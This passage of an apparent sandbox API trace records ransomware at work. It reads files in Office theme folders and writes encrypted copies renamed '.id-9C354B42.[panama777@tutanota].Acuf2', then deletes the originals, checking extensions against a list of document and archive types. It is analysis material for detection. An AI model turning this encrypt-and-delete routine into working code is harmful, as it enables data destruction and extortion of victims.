	[0051.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.804] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.804] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0051.805] GetLastError () returned 0x0
	[0051.805] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x4c6b, lpOverlapped=0x0) returned 1
	[0051.924] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4c70, lpOverlapped=0x0) returned 1
	[0051.926] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.926] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.926] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.926] CloseHandle (hObject=0x1a4) returned 1
	[0051.926] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.926] SetEndOfFile (hFile=0x178) returned 1
	[0051.927] CloseHandle (hObject=0x178) returned 1
	[0051.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.927] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1
	[0051.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.928] lstrlenW (lpString=".doc") returned 4
	[0051.928] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.928] lstrlenW (lpString=".docx") returned 5
	[0051.928] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.928] lstrlenW (lpString=".pdf") returned 4
	[0051.928] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.928] lstrlenW (lpString=".xls") returned 4
	[0051.928] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.928] lstrlenW (lpString=".xlsx") returned 5
	[0051.928] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.928] lstrlenW (lpString=".ppt") returned 4
	[0051.928] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.928] lstrlenW (lpString=".zip") returned 4
	[0051.928] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.928] lstrlenW (lpString=".rar") returned 4
	[0051.928] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.928] lstrlenW (lpString=".bz2") returned 4
	[0051.928] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.928] lstrlenW (lpString=".7z") returned 3
	[0051.928] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.928] lstrlenW (lpString=".dbf") returned 4
	[0051.928] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.928] lstrlenW (lpString=".1cd") returned 4
	[0051.929] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.929] lstrlenW (lpString=".jpg") returned 4
	[0051.929] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.929] lstrlenW (lpString=".doc") returned 4
	[0051.929] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.929] lstrlenW (lpString=".docx") returned 5
	[0051.929] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.929] lstrlenW (lpString=".pdf") returned 4
	[0051.929] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.929] lstrlenW (lpString=".xls") returned 4
	[0051.929] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.929] lstrlenW (lpString=".xlsx") returned 5
	[0051.929] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.929] lstrlenW (lpString=".ppt") returned 4
	[0051.929] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.929] lstrlenW (lpString=".zip") returned 4
	[0051.929] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.929] lstrlenW (lpString=".rar") returned 4
	[0051.929] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.929] lstrlenW (lpString=".bz2") returned 4
	[0051.929] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.929] lstrlenW (lpString=".7z") returned 3
	[0051.930] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.930] lstrlenW (lpString=".dbf") returned 4
	[0051.930] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.930] lstrlenW (lpString=".1cd") returned 4
	[0051.930] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75
	[0051.930] lstrlenW (lpString=".jpg") returned 4
	[0051.930] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.930] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.930] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.931] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4100) returned 1
	[0051.931] CloseHandle (hObject=0x178) returned 1
	[0051.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20
	[0051.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.931] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.931] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.155] GetLastError () returned 0x0
	[0053.155] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x1004, lpOverlapped=0x0) returned 1
	[0053.157] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1010, lpOverlapped=0x0) returned 1
	[0053.158] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.158] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.158] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.158] CloseHandle (hObject=0x1a4) returned 1
	[0053.158] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.158] SetEndOfFile (hFile=0x178) returned 1
	[0053.159] CloseHandle (hObject=0x178) returned 1
	[0053.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.159] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1
	[0053.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.160] lstrlenW (lpString=".doc") returned 4
	[0053.160] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.160] lstrlenW (lpString=".docx") returned 5
	[0053.160] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.160] lstrlenW (lpString=".pdf") returned 4
	[0053.160] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.160] lstrlenW (lpString=".xls") returned 4
	[0053.160] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.160] lstrlenW (lpString=".xlsx") returned 5
	[0053.160] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.160] lstrlenW (lpString=".ppt") returned 4
	[0053.160] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.160] lstrlenW (lpString=".zip") returned 4
	[0053.160] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.160] lstrlenW (lpString=".rar") returned 4
	[0053.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.160] lstrlenW (lpString=".bz2") returned 4
	[0053.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.160] lstrlenW (lpString=".7z") returned 3
	[0053.160] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.160] lstrlenW (lpString=".dbf") returned 4
	[0053.160] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.161] lstrlenW (lpString=".1cd") returned 4
	[0053.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.161] lstrlenW (lpString=".jpg") returned 4
	[0053.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.161] lstrlenW (lpString=".doc") returned 4
	[0053.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.161] lstrlenW (lpString=".docx") returned 5
	[0053.161] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.161] lstrlenW (lpString=".pdf") returned 4
	[0053.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.161] lstrlenW (lpString=".xls") returned 4
	[0053.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.161] lstrlenW (lpString=".xlsx") returned 5
	[0053.161] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.161] lstrlenW (lpString=".ppt") returned 4
	[0053.161] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.161] lstrlenW (lpString=".zip") returned 4
	[0053.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.161] lstrlenW (lpString=".rar") returned 4
	[0053.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.161] lstrlenW (lpString=".bz2") returned 4
	[0053.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.161] lstrlenW (lpString=".7z") returned 3
	[0053.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.161] lstrlenW (lpString=".dbf") returned 4
	[0053.162] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.162] lstrlenW (lpString=".1cd") returned 4
	[0053.162] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75
	[0053.162] lstrlenW (lpString=".jpg") returned 4
	[0053.162] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.162] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0053.162] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0053.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.162] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1737) returned 1
	[0053.163] CloseHandle (hObject=0x178) returned 1
	[0053.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20
	[0053.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.163] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.163] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0053.165] GetLastError () returned 0x0
	[0053.165] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x6c9, lpOverlapped=0x0) returned 1
	[0053.166] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6d0, lpOverlapped=0x0) returned 1
	[0053.167] ReadFile (in: hFile=0x178, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.167] WriteFile (in: hFile=0x1a4, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.167] SetEndOfFile (hFile=0x1a4) returned 1
	[0053.167] CloseHandle (hObject=0x1a4) returned 1
	[0053.167] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.168] SetEndOfFile (hFile=0x178) returned 1
	[0053.168] CloseHandle (hObject=0x178) returned 1
	[0053.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.169] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1
	[0053.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.169] lstrlenW (lpString=".doc") returned 4
	[0053.169] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.169] lstrlenW (lpString=".docx") returned 5
	[0053.169] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.169] lstrlenW (lpString=".pdf") returned 4
	[0053.169] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.169] lstrlenW (lpString=".xls") returned 4
	[0053.169] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.169] lstrlenW (lpString=".xlsx") returned 5
	[0053.169] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.169] lstrlenW (lpString=".ppt") returned 4
	[0053.169] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.169] lstrlenW (lpString=".zip") returned 4
	[0053.169] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.170] lstrlenW (lpString=".rar") returned 4
	[0053.170] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.170] lstrlenW (lpString=".bz2") returned 4
	[0053.170] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.170] lstrlenW (lpString=".7z") returned 3
	[0053.170] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.170] lstrlenW (lpString=".dbf") returned 4
	[0053.170] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.170] lstrlenW (lpString=".1cd") returned 4
	[0053.170] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.170] lstrlenW (lpString=".jpg") returned 4
	[0053.170] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.170] lstrlenW (lpString=".doc") returned 4
	[0053.170] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.170] lstrlenW (lpString=".docx") returned 5
	[0053.170] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.170] lstrlenW (lpString=".pdf") returned 4
	[0053.170] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.170] lstrlenW (lpString=".xls") returned 4
	[0053.170] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.170] lstrlenW (lpString=".xlsx") returned 5
	[0053.170] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.171] lstrlenW (lpString=".ppt") returned 4
	[0053.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.171] lstrlenW (lpString=".zip") returned 4
	[0053.171] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.171] lstrlenW (lpString=".rar") returned 4
	[0053.171] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.171] lstrlenW (lpString=".bz2") returned 4
	[0053.171] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.171] lstrlenW (lpString=".7z") returned 3
	[0053.171] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.171] lstrlenW (lpString=".dbf") returned 4
	[0053.171] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.171] lstrlenW (lpString=".1cd") returned 4
	[0053.171] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76
	[0053.171] lstrlenW (lpString=".jpg") returned 4
	[0053.171] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.171] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0053.171] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0053.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
